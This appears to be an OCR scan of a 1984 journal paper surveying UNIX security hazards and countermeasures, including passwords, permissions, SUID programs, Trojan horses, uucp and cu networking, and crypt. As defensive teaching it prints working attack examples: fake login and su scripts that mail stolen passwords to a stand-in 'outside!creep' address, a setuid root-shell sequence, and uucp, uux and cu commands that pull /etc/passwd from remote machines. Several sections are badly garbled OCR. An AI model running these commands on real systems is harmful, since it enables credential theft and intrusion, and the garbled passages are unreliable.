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Computing systems that are easy to access and that facilitate communica- 
tion with other systems are by their nature difficult to secure. Most often, 
though, the level of security that is actually achieved is far below what it could 
be. This is due to many factors, the most important of which are the knowledge 
and attitudes of the administrators and users of such systems. We discuss 
here some of the security hazards of the UNIX ™ operating system, and we 
suggest ways to protect against them, in the hope that an educated community 
of users will lead to a level of protection that is stronger, but far more 
importantly, that represents a reasonable and thoughtful balance between 
security and ease of use of the system. We will not construct parallel examples 
for other systems, but we encourage readers to do so for themselves. 


I. INTRODUCTION 

dp This paper is aimed primarily at a technical audience and, for that 
very reason, its usefulness as a tutorial for increased computer system 
security is diminished. By far, the most important handles to computer 
security and, indeed, to information security, generally, are: 
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• Physical control of one’s premises and computer facilities 

• Management commitment to security objectives 


Education of employees as to what is expected of them 
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• The existence of administrative procedures aimed at increased 
security. 

Unless each of these basics is in place, all of the technical solutions, 
the special hardware, the software safeguards, and the like are utterly 
meaningless. We will not address these issues to any great extent in 
this paper, but we mean to stress our firm conviction that no level of 
security whatever can be achieved without them. 

In discussing the status of security on the various versions of the 
UNIX operating system, we will try to place our observations in a 
wider context than just the UNIX system or one particular version of 
the UNIX system. UNIX system security is neither better nor worse 
than that of other systems. Any system that provides the same 
facilities as the UNIX system will necessarily have similar hazards. 
From its inception, the UNIX system was designed to be user friendly, 
and most decisions that pitted security against ease of use were heavily 
weighted in favor of ease of use. The result has been that the UNIX 
system has become a fertile test bed for the development of reasonable 
security procedures that interfere to the minimum possible extent with 
ease of use. 

The major weakness of any information system such as the UNIX 
system resides in the habits and attitudes of the user community. 
Naivete and carelessness will produce awful security under almost any 
conditions. 

It is easy to run a secure computer system. You merely have to 
disconnect all dial-up connections and permit only direct-wired ter- 
minals, put the machine and its terminals in a shielded room, and 
post a guard at the door. There are in fact many examples of UNIX 
systems that are run under exactly t hese conditions, principally sys- 
tems that contain classified or sensitive defense information. 

There are a number of options, implemented either in hardware or 
in software, that provide a measure of security that is almost this 
good. Examples are systems that only respond to a dial-up call by 
calling back on a preassigned number. Many commercially available 
operating systems make it essentially impossible to create or install 
any user software or application software without administrative help; 
some other systems make it virtually impossible to read files belonging 
to another user, even when the users want to cooperate in their work. 
All these measures work by restricting access to the system and by 
reducing the powers that the system gives it users. The UNIX system 
was designed to increase, not decrease, the power and flexibility 
available to its users. It was designed to be easily accessible and to 
facilitate communication within its user community. Most UNIX 
systems, not surprisingly, are of the dial-up variety. They provide 
their users with a general programming ability — to create, install, and 
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use their own programs. All but a few of their files are at least readable 
by anybody, and most such systems have access to thousands of other 
systems via remote mail and file transfer facilities. That is, they use 
the UNIX system as its creators intended it to be used. 

Such open systems cannot ever be made secure in any strong sense; 
that is, they are unfit for applications involving classified government 
information, corporate accounting, records relating to individual pri- 
vacy, and the like. Security, though, is not an absolute matter; there 
are tolerable levels of insecurity and there are balances to be struck, 
not only between security and accessibility but also between the cost 
of security measures and the risk or exposure associated with the 
information being protected. By homely analogy, most family silver- 
ware is stored in a cabinet in a house with a lockable door. It is not 
stored in a box on the front lawn for obvious reasons, but neither is it 
stored in a bank vault, where it would be much safer than at home, 
but where it could not easily be used and enjoyed. The insecurity of 
keeping it at home is both tolerable and appropriate. (Neither of the 
authors, by the way, keeps any silver in his home.) More homely yet 
as an example, the notion that firewood, though a commodity of 
considerable value, might be stored in a bank vault is simply ludicrous. 
The same balances are appropriate when it is information that is being 
protected. 

Most UNIX systems are far less secure than they can and should 
be. This unwarranted insecurity is largely caused by complacency and 
by the use of concealment as a security measure. The administrators 
do not want word of security problems to be circulated. The bad guys 
agree, but for different reasons. This attitude produces an unhealthy 
situation in which administrators and users alike are uninformed about 
security issues. Much silverware is left on the lawn, and only the bad 
guys are well informed about the exposure and the risks. 

Concealment is not security. The intent of this article is to survey 
at least the better-known security hazards associated with the UNIX 
system, and to suggest ways in which security can be improved without 
greatly diminishing the usefulness of the system to its authorized 
users. 

Topics to be covered are: 

1. The insecure nature of passwords 

2. Protection of files 

3. Special privileges and responsibilities of administrators 

4. Burglary tools, and protection against them 

5. Networking hazards 

6. Data encryption. 

All these will be discussed in the context of a community of users 
who are largely naive about security issues. 
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There is nothing in the above list that is,, specific to the UNIX 
system. All of the problems that will be discussed here are system- 
dependent instances of far more general problems that appear in other 
forms on other systems. It is inappropriate to construct parallel 
exhibits from other systems here, but readers might find it rewarding 
to do this themselves. 

Finally, there was more than a little trepidation about publishing 
this article. There is a fine line between helping administrators protect 
their systems and providing a cookbook for bad guys. The consensus 
of the authors and reviewers is that the information presented here is 
well known: the bad guys know it well, and a more favorable distri- 
bution of this knowledge is desirable. 

II. PASSWORD SECURITY 

The most important, and usually the only, barrier to the unauthor- 
ized use of a UNIX system is the password that a user must type in 
order to gain access to the system. Much attention has been paid to 
making the UNIX password scheme as secure as possible against 
would-be intruders . 1 The result is a password file in which only 
encrypted passwords are kept. A person logging into the system is 
asked for a password. The password is then encrypted with a one-way 
transformation, and compared to the encrypted password previously 
stored in the fde. Access is permitted only if the two match. An 
advantage of this system of password control is that there is no record 
anywhere of the user’s password. 

No method appears to be known to extract a user’s password from 
(he encrypted version that is stored. The one-way encryption has 
proven to be good enough to thwart a brute- lorcc attack. In practice 
it is easy to write programs that are extremely successful at extracting 
passwords from password files, and that are also very economical to 
run. They operate, however, by an indirect method that amounts to 
guessing what a user’s password might be, and then trying over and 
over until the correct one is found. 

Such programs are commonly called password crackers. They were 
virtually unknown five years ago, but are widely known today. They 
work by encrypting a good guess as to what a person’s password might 
be, and comparing this with the encrypted password in the file. Good 
guesses can be made without any personal knowledge of the people 
listed in the password file since the file itself provides clues. Each line 
therein contains, in addition to the encrypted password, the user’s 
login name, home directory, login shell, and, perhaps, some comments. 

The most important clue is the login name. People who are naive 
about security issues very often use login names or variants thereof as 
passwords. For example, if the login name is abc, then abc, cba, and 
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abcabc are excellent candidates for passwords. Experiments involving 
over one hundred password files have shown that a program that uses 
only these three guesses requires several minutes of minicomputer 
time to process a typical password file, and can be counted on to 
deliver between 8 and 30 percent of the passwords in cases where 
neither users nor system administrators have been security-conscious. 

Other clues can also be had from the password file. There is a 
comments field that is used in most systems to provide information 
about a user. It usually contains things like surname, given name, 
address, telephone number, project name, and so on, all of which can 
be extremely rewarding to try. 

Finally, if an intruder knows something about the people using a 
machine, a whole new set of candidates is available. Family and friends’ 
names, auto registration numbers, hobbies, and pets are particularly 
productive categories to try interactively in the unlikely event that a 
purely mechanical scan of the password file turns out to be disappoint- 
ing. 

Once the hazards are known, remedial steps can be taken to bolster 
password security. The following are known to be helpful: 

1. Make it difficult for outsiders to obtain a copy of a machine’s 
password file. An intruder who is denied a copy of the file must resort 
to dialing into the target machine and making guesses interactively 
via the normal login sequence. This takes much more time than simply 
running a cracker program on one’s own machine. Actual login at- 
tempts are likely to be expensive, and greatly increase the chance that 
the intrusion attempt will be discovered by audit software. There is, 
of course, little that can be done to prevent a malicious insider from 
shipping the file out the door; but at least steps should be taken so 
that an outsider cannot use networking arrangements to cause the 
password file to be shipped out in a response to a request from outside. 

2. Remove the encrypted passwords from the password file and 
place them in a parallel file that is unreadable to the general public 
and to networking programs like uucp. A considerate touch here is to 
replace the encrypted fields in the password file with random strings 
of the proper length and in the alphabet of encrypted passwords. This 
has the potential for not interfering with legitimate programs that 
might use the file, and wasting large amounts of an intruder’s time. 

3. Likewise, keep the comment field elsewhere. Besides removing 
useful clues, this has the benign side effect of shortening the password 
file considerably, thereby speeding up programs like is that search it 
sequentially. 

4. Modify the passwd program to prevent users from installing 
easily derivable passwords such as abcabc. 

5. Educate users about bad passwords and good passwords. One 
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recipe to, good passwords is to pic* ' £tS| 1 

remembered but ,n no way « «-*«£* ° n a dictionary (e.g.»| 
it in some way so that 1 alternative approach 

misspelling it, adding punctua 10n ’ “ letting them choose their I 

is to assign passwords to users rather than letting t 

own. Both methods have weaknesses Left ^t^ow^ 

people W,U ^randomly^enerated passwords are assigned most 
tSm^ tomewhe r^ often in very obvious place 

a tried was, thereto^’ 

200° M Last one ot these 200 passwords turned out to be a vahd 
password on every machine surveyed. S 


m 

m 

m 


* 




III, files and file systems 
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Ever, file in a UNIX fde system 
permissions that specifies w of a variable called 

=^s.^:“S=Sls. , ss« 

"“^permission bits specif, read, 

the owner of the file, others mtieowner g A f eM mo* 

1" « or a nine-character 

often presented as either a tnree oig ^ ^ wri tt en ,or 

string. For example, the mo e ° . dby mem bers of the owneiV 

executed by its owner, read and executed by mem 
group, and read by everybody else would be 754 or 
notations will be used here, as appropriate. 

The algorithm used to determine permissions thi . jfj| 
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iffuser is owner)) 

iffpermissions are set) it’s ok 

else quit. 
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If 

if(user is in owner’s group) { 
if(permissions are set) it’s ok 
else quit. 

ii 

{/(permissions are set) it’s ok. 

v Note especially that the algorithm does not look for all possible 
iditions, in a hierarchical sense, in which a user might have access 
a file. This is done so that a person can create a file whose access 
jssions are not “kept in the family.” For instance, a file whose 

is set to 007 ( rxw) can be read, written, and executed by 

>ne except its owner and members of its owner’s group. 

Ml such permission checking is bypassed if the user is the super- 

Mr. 

We must mention two additional things about directories. First, 
a directory cannot be executed, the bits that would be used to 
cify execute permissions are instead used to specify search permis- 
s, that is, the ability to climb into a directory or to use it as a 
Component of a path name. Second, underlying directory permissions 
lem adversely affect the safety of seemingly protected files. Suppose 
it d is a directory whose mode is 730 that contains a file £ of mode 
4, that both d and f have the same owner and group, and that f 
stains the text something. Disregarding the super-user, no one 
es the owner of f can change its contents, since only the owner 
i write permission. Notice, though, that anyone in the owner’s group 
ns write permission for d, so that any such person can remove f from 
t and install a different version: 




*cho something else >d/f 

h for most purposes is the equivalent of being able to modify f . 
her, had f been a directory rather than a file, the same person 
Could have moved it (and all of its contents) elsewhere and replaced it 
an entirely new structure. Thus, to ensure that a file cannot be 
led, it is necessary that 
1, The file itself must be write -protected. 

■ 2. The directory containing it, and all lower directories, must be 
larly protected. 

| ; - 3. Group permissions must be considered. This last is especially 
littpoftant if most of the users of a system are in the same group, as is 
default case on most UNIX systems. 

;The mode of an existing file can be changed with the chmod 
and, or, from a C program, by using the system call of the same 
i.The ownership of a file is changed by using the chown command 
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and system call. Some versions of UNIX restrict chown to the super- 
user. Others also permit the owner of a file to give it away to someone 
else. The latter convention provides an opportunity for fraud on 
systems whose users are charged for their disk space, but there is also 
a subtler problem that will be discussed in the next section. 

Finally, when a file is created, it is given the owner and group IDs 
of the user who created it, and a mode that corresponds to an argument 
of the creat or open system call, modified by a user-supplied param- 
eter called a umask. This parameter is also a 9-bit field, each of whose 
bits specifies that the corresponding permission bit not be set, i.e., the 1 
resulting permission field is the logical and of the file creation mask 
and the one’s complement of the umask. A user’s umask is set to some 
default value at login time, and can subsequently be modifed by the 
user via the umask command or system call. Simple prudence about 
accident protection suggests a default umask of 022, which makes files 

unwritable except by their owners. 

The tree of directories and files that makes up a UNIX file system 
is just a logical structure that is mapped onto a physical device— a 
disk— in order to make it easy for people to use the disk. If the physical 
disk can be written or read, so can any file in the file system that 
resides on the disk. All that is needed is a little knowledge and effort. 
It follows then that the special files that permit access to the physical 
disk should be accessible only to the super-user if lile protections are 
to be worth much. In practice, this rule usually is relaxed so that the 
disks are writable only by the super-user, but that they can also be 

read by some administrative group. 

Finally, access to programs’ working storage on a machine is avail- 
able via the special files /dev/mem (memory) and /dev/kmem (kernel 
memory). Write permission for memory allows a process to modify 
itself in any way, including giving itself super-user privileges. Read 
permission allows it to inspect things like the standard input and 
output of other processes. Hence, the same precautions that apply to 

physical disk access apply here also. 

There is more to be said about files and file systems, and more will 
be said later on, after a few pitfalls have been dissected to provide 

some background. 


IV. SU1D PROGRAMS 

The set-userid. (SUID) facility is a novel and useful feature in the 
UNIX system. 2 It allows a program to be constructed in such a way 
that the individual or group ID, or both, of the user who executes the 
program is changed temporarily for the duration ol the programs 

This makes it trivially easy to write programs that would be difficult 
or impossible to implement on other operating systems. Any user can 
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set up a game that keeps a score file that is normally protected from 
others but is open for writing and reading to anyone who is currently 
playing the game. There are some programs that are similarly easy to 
write, like ps, which shows what is going on in the system (by reading 
operating system memory locations); df, which shows disk utilization 
(by reading the physical disk); and passwd, which lets a user write in 
the password file to change a password. 

Two bits in the mode of a file in which a program is kept determine 
whether the program will be of the SUID variety. These are kept in 
an octal digit just to the left of the permission bits. Octal 4xxx changes 
the user ID to that of the program’s owner. Octal 2xxx changes the 
group ID to that of the owner’s group. As with the permissions, these 
bits are set by chmod. 

If any user of the system were free to issue the following sequence 
of commands: 

cp /bin/sh a . out 
chmod 4777 a . out 
chown root a . out 




"Mx 






the result would be a shell that would give super-user privileges to 
anyone who executed it. The danger is obvious, and is disabled by the 
design of the chown and chmod commands and system calls. The 
disablement takes one of two forms, depending on the version of 
UNIX system. 

1. If the version of the UNIX system restricts chown to the super- 
user, there is no problem. 

2. If the version permits a user to give away files, chown first knocks 
down the SUID bits before changing ownership. 

The clear danger is taken care of, but the feature is by no means tame. 
Over the years it has provided truly horrid security flaws in various 
versions of the system. Some early versions of the mail command, 
which ran as super-user so as to be able to write in protected mailboxes, 
tould be coaxed to do things like appending lines to the password file. 
Some versions of login, when invoked after all available file descrip- 
tors were in use, would log a user in as the super-user. Sending a quit 
signal to a running SUID program would produce a writable SUID file 
called core, suitable for debugging and other things. The list is long, 
but the point is made: the SUID facility is a very powerful tool, and 
like all powerful tools it must be handled with care. Here are some 
hints about care. 

SUID programs should be used only when there is no other way to 
|tt a desired result. On most UNIX systems, perhaps a dozen SUID 
programs, excluding games, are really needed. A lax attitude about 
SUID programs, combined with a ‘quick and dirty’ programming style, 
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can produce disasters. As an example, a security audit on a system on 
which a number of people working on the same project had need to 
write in each other’s files turned up an alarming fact. The people 
involved knew next to nothing about how to use groups and were too 
lazy to learn, so they resorted to SUID programs instead. About 200 
of these were found. Half of these were owned by the super-user, and 
most of these were writable by others, including one called a. out 
whose permission field was 777. Unfortunately, such sloppiness is not 

13 It is difficult, when users are writing all but the most trivial pro- 
grams, to determine in advance that the program will be correct. 
Programs sometimes do the most amazing things in unforeseen 
rnmstances. When SUID programs are being designed and written, it 
is particularly important to pay attention to simplicity of function and 
cleanliness of implementation, since unexpected behavior can easily 

Pr E d scape S s C from SUID programs-child processes that are j^ en a 
shell-are highly unrecommended. If these cannot be avoided, the 
designer must carefully consider the consequences of inherited files, 
signals the shell’s environment, and so on. Some systems provide a 
restricted shell whose capabilities are somewhat less than those of the 
standard shell. The restrictions are useful in reducing the accident 
rate among data-entry clerks and in similar applications. Using a 
restricted shell to contain an intruder is rash. Most of these are abou 

as restrictive as childproof bottle caps. . 

SUID programs that are writable by anyone besides their owners 

should be considered threatening. 

System administrators should verify that the SUID Programs that 
are supplied with the system are clean (i.e., the source has not been 
tampered with to provide new features, and that the binaries have 
beTn compiled from the clean source.) This last precaution is necessary 
but not sufficient. In Ref. 3, Thompson shows that compilers can be 
infected so as to modify the code that they compile, without Teavmg 
visible traces of the modification in any source code, even that for the 
compiler. In practice, such compiler viruses are likely to be rare, simply 
because they require much more skill and effort than other tampering 

techniques. 


V. TROJAN HORSES 

A favorite tool of the intruder is the Trojan horse. As the name 
implies a Trojan horse is a program that an intruder gives to an 
unsuspecting user of a system. It does what it is obviously supposed 
to do, but it also quietly performs some malfeasance on behalf o e 
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intruder. The technique has been around for thousands of years, and 
it still works splendidly. Here are some modern instances. 

Ritchie 4 shows a noncryptanalytic way of finding out passwords as 
follows: “Write a program which types out login: on the typewriter 
and copies whatever is typed to a file of your own. Then invoke the 
command and go away until the victim arrives”. At first glance, this 
seems to, be a case of some legitimate user of a system coveting a 
neighbor s password, but in fact there are more interesting applica- 
tions. Also implied is that the horse must faithfully simulate the 
nontrivial login command, which is a lot of work. Actually, all that is 
needed is to simulate an unsuccessful login attempt, as if the user had 
made a typing mistake, and that is a horse of a different color: 

echo -n “login : " 

read X 

stty -echo 

echo -n “Password: " 

read Y 

echo “ ” 

stty echo 

echo $X $Y | mail outsidelcreepE 
sleep 1 

echo Login incorrect 
stty 0 >/dev/tty 

The shell script is simplicity itself with a few kindnesses added to 
make its victim feel more at home. It asks for a login name and then 
a password, mails these to the bad guy, announces failure, and hangs 
up the phone. The user then dials the computer, gets a real login 
command, carefully types what is asked for, and goes about business 
aa usual, unaware of the swindle. Note that there was no requirement 
that the horse be planted on the target machine, and in practice this 
will likely not be the case. 

Once on the target machine, the intruder can use similar horses to 
acquire the privileges of other users. One of the most frequently used 
commands on UNIX systems is is, which is UNIX system shorthand 
for tell me some things about these files”. The is command can be 
used in many contexts and with many options, but as was the case 
with login, a trivialized version can give joy to an intruder: 

>somewhere/. harmless 

chmod 6777 somewhere/, harmless 

sleep 2 

echo “(is: not found" 

rm Is 
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The { is indicative of a noisy te ^ „ et s such a hit. When 
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S™Xe a tater re thTtatrude, will copy 'the shell into 

execute it, and assume the identity of t e vKti m. is tha t oftb. 

The most desirable identity tor the ^mtruder to, p[iv „ egeB ^ 
super-user. System admimstrators ^ ^ command nsks for the root 

“SS andbeiows systemwifc prWie g e» 

“sSm administmtorcan us’uall, be Telted o‘n to send a 8 itt with| 
hours: 


stty -echo 

echo -n “Password: ” 

read X 

echo “ ” 

stty echo 

echo $X | mail outsidelcreepE 
sleep 1 
echo Sorry . 


r m ^ vi 

places where they w „, mman ds in a sequence of direclo 

named'in ^string'cahed WTH that . 

Lei of Vic* 

55 mW setttag. This turns out to be a minor nuisance, and ott» 
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: little additional protection, as vulnerable PATH components can be 
(deduced in other ways. 

; Modifying the (real) su program so that it insists upon being 
ivoked by a full path name is very effective. The change is trivial — 
i program needs only to check that the first character of its zeroth 
argument is /. Legitimate users very quickly fall into the habit of 
ping /bin/su rather than su, thereby guaranteeing that the official 
version gets executed, regardless of whether a horse is nearby. A 
^further recommended change to su is that on successful invocation it 
changes the PATH string so that only /bin and /usr/bin will be 
/Searched for commands. This prevents nonstandard versions of com- 
Hpnands like l s from being executed with super-user privileges. 

, There is no defense against the login horse except user education, 
r Anyone who walks up to a previously unattended terminal that says 
' ‘login:" and types in the keys to the machine is fair game. 

*|jt NETWORKING 

• Several times in the previous discussion it was tacitly assumed that 
| Files pertaining to the security of a system — in particular, the password 
|file— might very well be available to an intruder who had not yet 
£ managed to penetrate the system. It turns out that the same commu- 
jwpafcaUons programs that facilitate the exchange of ideas and informa- 
®w.-#^n among people on different machines can, unless great care is 
lien, be used to subvert a machine from a safe distance. 

: The uucp program 6 makes it possible to copy files from one UNIX 
em to another, and is the workhorse of UNIX networking. Indeed, 
■ease of information interchange by way of uucp and programs like 
ittll that use it accounts for much of the usefulness and popularity 
' the UNIX system. The problem with uucp is that, if left unre- 
1, it will let any outside user execute any commands and copy 
Lor in any file that is readable/writable by a uucp login user. It is 
p to the individual sites to be aware of this and apply the protections 
it they think are necessary. 6 If the administrator of a site is naive 
5 ■:« inattentive, getting a password file from that site can be as easy as 

fipwtoK 

BUcp -m target !/etc/passwd gift 

■ 

gpocopy the remote machine’s password file to a local file called gift. 
m* -m option is a convenience, not a necessity. It causes uucp to 
[mail to the intruder when the gift has arrived.) Three years ago, 
ploy was almost certain to succeed. Today, many (but not all) 
ems have restrictions on which files can be accessed and by whom, 
cally, they restrict access to a directory reserved for that purpose: 
l*f/spool/uucppublic. 
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If the direct approach is spurned, uux might be tried. The uux 
program is part of the uucp system. It causes execution of programs 
to take place on remote systems. Its main use-in practice, almost its 
onl use-is to start up the mail delivery machinery on a remote 
system after uucp has delivered the mail files to a spooling area. Like 
uucp though, it has full generality built in, and it may be possible 
successfully execute a command like: 


uux "target-cat </etc/passwd>/usr/spool/uucppublic” 


This copies the password file to the remote machine’s spool direc- 
Jy from which it can later be plucked. Like uucp. ana may h ve 
some restrictions, but there is a difference: to ensure generality, the 
remote system passes the arguments of uux to a shell for interpretation 
and execution. The far end of a uucp transaction needs only o see 
whether access to some file is legitimate, but the far end of a uux 
transaction must examine the command and its context and decide 
whether the result will be harmful. The latter is extremely difficult 

because the shell, like most other macroinstruction processors 
some very complex quoting conventions deliberate y designed to h e 
certain types of strings until the proper time for their ex P^ lon v A ^ 
intruder with sufficient shell programming experience is lik y 

^FinaU^gWen that neither uucp nor uux will perform as directed 

there is always the option of making a private copy of uucp. No special 
^ • j run tViG oroeram or to access tha 

- -S3 2“ "I 

^ 'Another conimunications^program, called cu, is especially appealing 
totiffiudem The name cu stands for ‘call UNIX.’ It alkiws a = of 
a UNIX system to call another system, not necessarily a UNIX .system 
and to conduct an interactive session on the remote machine. A typical 
cu session starts like this. 


$ cu 5551212 

Connected 
remote 
login: user 
Password 

$ [session fr om here until - ] 
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Note the sequence of events. The cu command is invoked and given 
the telephone number of the remote machine. A connection is made, 
and the user is asked for a login name and a password. If these are 
correctly given, the session proceeds as if the user had manually dialed 
in. The session ends when the user types a line beginning with ". 

Consider two machines, one on which very careful attention has 
been paid to security concerns, and another on which security issues 
have been utterly neglected. An intruder on the weak machine need 
only install a horse— a version of cu that, in addition to making 
connections, also copies the first few lines of a session somewhere— 
to obtain the keys to the strong machine. 

It would seem that a good rule to follow with cu could be never to 
use it to get from a weak machine to a stronger machine, but sometimes 
this is not sufficient. The command cu allows escape sequences that 
are not transmitted to the remote machine, but instead cause certain 
useful functions to be performed. For example, any line beginning 
with ~%put tells cu to copy a file from the local machine to the 
remote; lines beginning with~%take cause things to go the other way. 
Of special interest are lines beginning the ! that cause commands to 
be executed on the local machine: 


~!mail 

lets a user read mail on the local machine while still connected to the 
remote. 

For some versions of cu, the local machine cannot tell how a line 
was generated when it gets it from the remote machine. It just has a 
line of text. If the line says 

~!mail somewhere < /etc/passwd 

it may have been typed deliberately by the user, it may have been 
written to the user s terminal by a bad guy on the remote machine, or 
it may have been contained in a file on the remote machine- that the 
user had been printing. The result is the same in any case: the password 
file is tossed over the wall. 

The ct command causes a machine to call out to a terminal in order 
to let that terminal log in to the machine. It is otherwise identical to 
the cu command, but from an intruder’s point of view, the target 
machine gets to pay the phone bill. This reduced cost is counter- 
balanced by the greatly increased risk of getting caught by audit 
procedures. ' 

Finally, there are Local Area Networks (LANs). These are arrange- 
ments in which some kind of high-speed communications channel is 
used to connect a cluster of machines that are geographically close to 
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onp another (e.g., a dozen machines in the same building). The in 
of an LAN is usually not only to make it easy to share in or “ a ^s 
but also to provide users of all the machines m the network 
handy access to resources (such as typesetters) that are not econo 

to reolicate on each machine. T a xt 

Unlike uucp and cu, which are fairly standard, LANs “mein^ 
different llavors. It would he unkind and not very useful to dissect 
some particular LAN here, and trying to cover even the irmre popi 
ones would require a long and mostly uninteresting book. The hazards 
are exactly those of uucp and cu: remote execution masquerad,?* 
and faulty access permissions. The forms that the attacks will fed* 

i • nr i 'OS 


I. 


are of course different. . . 

Security holes in machine-to-maclnne communications are wejjl 

known and sometimes dillicult to lix. 

No special permissions are inherently required to access comm “ 
cations^ devices. This makes it possible to obtain a private copy of* 
communications program and to modify it so that it calls ou t r 
querading as some other machine or some other user. Evenifsp 
privileges were required, little would be gained, as the threat is to 
remote 8 as yet uncompromised, machine, not the local machine ©B 
whS an intruder has presumably already obtained the reqrn^ 

Pe ™ven that a remote machine cannot reliably identify its < 
allowing the remote execution of arbitrary commands is asurewny 
invite trouble. Remote execution of a shell is deadly, but even 

innocuous 3 command like cat can be used .* > an -t ££££ 
The uucp program that is used by most UNIX machines was_ 
written with security in mind. It can do just about anythmg and rt 
up to the system administrator to restrict its capabilities. The restti 
Rons needed are by no means obvious. The cure is to rewrite uucp 
that it is able to deliver mail, to copy files to and from spool direct? 
and to send out data only when it has initiated the connection, 
have done this in our research environment some time ag . 

Cfl £ disaster. Banning it fro* 
machine or restricting access to devices will do no good at all, for 
obvious reasons. The best that can be done is to educate users. 

1 Do not use cu from a machine that is not trusted. 

2. Do not use cu to a machine that is not trusted. 

3 Do not browse on the remote machine. . 

(This advice is remarkably similar to that which parents give 
children: “Do not go for a ride with a stranger. ) 

Local area networks should be treated as individual machine* 

security purposes. 
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. ENCRYPTED FILES 

1/iV/X systems are distributed with a command called crypt, which 
used to encrypt and decrypt files. 10 Cleartext is supplied as input to 
“ program. A key (the cryptologist’s term for a password) is either 
n on the command line or supplied interactively, and ciphertext is 
>ut. The transformation performed by crypt is its own inverse so 
t using the same key converts ciphertext to cleartext. The crypt 
and is used in many applications, and often very unwisely, as its 
depends on a very large number of factors that are often not 
dered by naive users. The purpose of this section is to present 
pf* facts that ought to be considered, so that the user can make an 
imed decision about a particular application. 

is possible to decrypt an encrypted file without knowledge of its 
This is hardly surprising, as successful methods of attacking rotor 
es have been known for over 50 years. 11 The job can be very 
nsuming; it is not just a matter of aiming some magic program 
i file of ciphertext and obtaining cleartext. The method is described 
detail in a companion paper by Reeds and Weinberger 12 The 
-nt of work that it takes to decrypt a file varies, depending on 
clues are available. For a file of encrypted English text, several 
of work is not atypical. 

ryption of files can be made easy or hard, depending on how 
t is used. A one-size-fits-all approach to key selection is a 
ilarly bad idea. It goes without saying that a user’s login pass- 
if known, will be tried as a possible key, but there are other 
ms. If ten files are encrypted with the same key, then all ten 
can be decrypted when only one is done. Moreover, having more 
one file encrypted with the same key lets a cryptanalyst switch 
different target when guessing at probable text gets hard, 
ity frequently, a user of crypt will forget to remove a cleartext 
liter producing an encrypted version. Such cleartext can only be 
as ‘gold’. 

table programs (binaries) that have not been stripped of their 
tile symbol tables are vulnerable. 

Ie encryption, that is, passing text through crypt twice, makes 
00 of decryption harder, but not much. 

mple-minded preprocessing schemes, such as exclusive ORing the 
some constant, do not help. 

recessing the cleartext so that there is no longer a one-to-one 
ondence between clear- and cipher-bytes dramatically weakens 
Attack. For example, using the pack command to get a Huffman- 
ded version of the file before passing it through crypt ensures 
characters will cross byte boundaries, thus rendering byte-ori- 
oecryption techniques useless. 
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Much more dangerous are the noncryptanalytic attacks. The 
niques for guessing passwords are exactly those for guessing keys, 
a Trojan horse version of crypt can take minutes, not hours for 
intruder to install. 

Finally, the frequency distribution of the bytes in an encrypted 
is uniform. This is so unlike those of other Fdes in the system . 
such files practically scream for the attention of an intruder. This 
well worth remembering. 




VIII. MISGUIDED EFFORTS | 

It is one thing to clean up a system by plugging open holes, 
quite another to install security machinery that collects evidence 
possible chicanery. The latter can be very useful or very dangei; 
depending on how it is done, since it often happens that informa 
that is helpful to system administrators can be just as helpful 
more so — to an intruder. Here are some security tools that can 
weaken system security. 

8 . 1 Logging su activity 

The su command allows a user to assume the identity of any 
user (the default being root, the super-user) if the password co 
sponding to the desired new identity is correctly given. As a sect 
measure, most implementations of su also append a line to a log 
called sulog. The line contains a time stamp, the name of the 
the proposed new identity, and a flag showing whether the tr _ 
mation succeeded. Clearly, this file must be protected from writ!- 
all but the super-user. 

Normally, only a small number of people on a given machine 
supposed to have super-user privileges, and all of these sh 
known to the system administrator. Thus, by looking in sulog 
those who have become root, the administrator can get a very 
list of names in which a stranger will likely stand out like a 
thumb. 

Now consider the plight of an intruder who has just used a bOr 
password to break into a strange machine, and who now has the 
of locating the important people from among perhaps hundreds m 
password file. Fortunately, the important people can be idem 
readily by their ability to become super-user. Thus, the same teclr 
applied to the same file produces the same list— but now it is a 
horse targets. 

This implies that sulog had better be unreadable as well asi 
able. Such files are difficult to handle for a variety of reasons. ^ 
and summaries with relaxed permissions are likely to be owned! 
important people. 


1666 TECHNICAL JOURNAL, OCTOBER 1984 


• < 






The sulog command thus appears to help both the defenders and 
attackers. This would indeed be the case if there were ever a need 
van intruder to make an entry in the file. There is no such need 
^ the most inexperienced intruder will use the su command to try 
fa guess or a pilfered password. The indirect approach of encrypting 
‘guess and comparing it with the password file entry will provide 
tion without leaving any tracks. Once sure of a password the 
r can then use su, and just remove the last telltale line from 


8 “ U n°j eX ,‘ StS °, n 3 machine > no matter how it is protected or what 
i , ed, then there is a potential risk for the administrator but 
for the knowledgeable intruder. The way to reverse the score is 
*p the tracks off the machine, where they cannot be accessed 
by the super-user. The paper console copy in the machine room 

A very good place, especially if the system administrator reads it 

naily. 


Password aging 

0n« of the many problems with passwords is that most people left 
ded, will keep a password forever. The longer a password is 
the greater the chance that it will become compromised Also 
passwords are useful to their thief for as long as they remain 

systems are provided with a feature called password 
which, if activated by the system administrator, will cause users 
system to change their passwords every so often. The goal is 
Ie. The algorithm, however, is bad, and the implementation, 
.* security standpoint, is just awful. Within systems in which the 

ri tb t SyStem administ rator assigns, on a user-by-user 
the length of time that a password can remain valid. The first 
that a user whose password has rotted attempts to log into the 
m,the message: Your password has expired. Choose a new 

“ E 1 u u T 18 m3de t0 execute th e Passwd command 
than the shell. The passwd command prompts for a new 

rd, installs it, and records the time of installation. Further to 
t a user from changing a password from x toy and then promptly 

, f* passwd Wl11 refuse to change a password that is less than a 

Old 

4r l !rrr S 3re . wrong here - First > picking good passwords, while 

difficult, does require a little thought, and the surprise that 

just at login time is likely to preclude this. There is no hard 
-! to support this conjecture, but it is a fact that the most 
ly silly passwords tend to be found on systems equipped with 
aging- 
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Second the user who discovers that the new password is 
or compromised cannot change it within the week without help 

,h ThW m t"m ti, forces people to toggle back and . 
between two passwords. This is not a great gain in security, 

password fit ' 

blessing depends on one’s point of view. 

The aging of passwords is a difficult problem, ye • || 


8 3 Recording unsuccessful login attempts 

^oTreastn tot login attempts foil is that people sometimes t 

password when asked for “J^X s^ttm response tain* 

carelessness, ma ’ known is that collecting login I 

h° urs is not ^ 

from unsuccessful Kcess M P thus collecte d that | 

Cdtto Sumt ImfslJd fS. is almost certainly a p 
Finding the match is not difficult. 


8.4 Disabling accounts based on unsuccessful logins 


LSisavinify 

Some systems will. 

ton toed, old ” reached. The magic number is usually three-s 
pl°y »as the 

“/L already gained accej. 
system" and who wants to get rid of the system admm 
feature is a blessing: 


m 


m 


login: guru 
password: foo 


repeated the appropriate number of times will assure the int 
privacy for at least a little while. 


I 
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'PEOPLE 

By far the greatest security hazard for a system, the UNIX system 
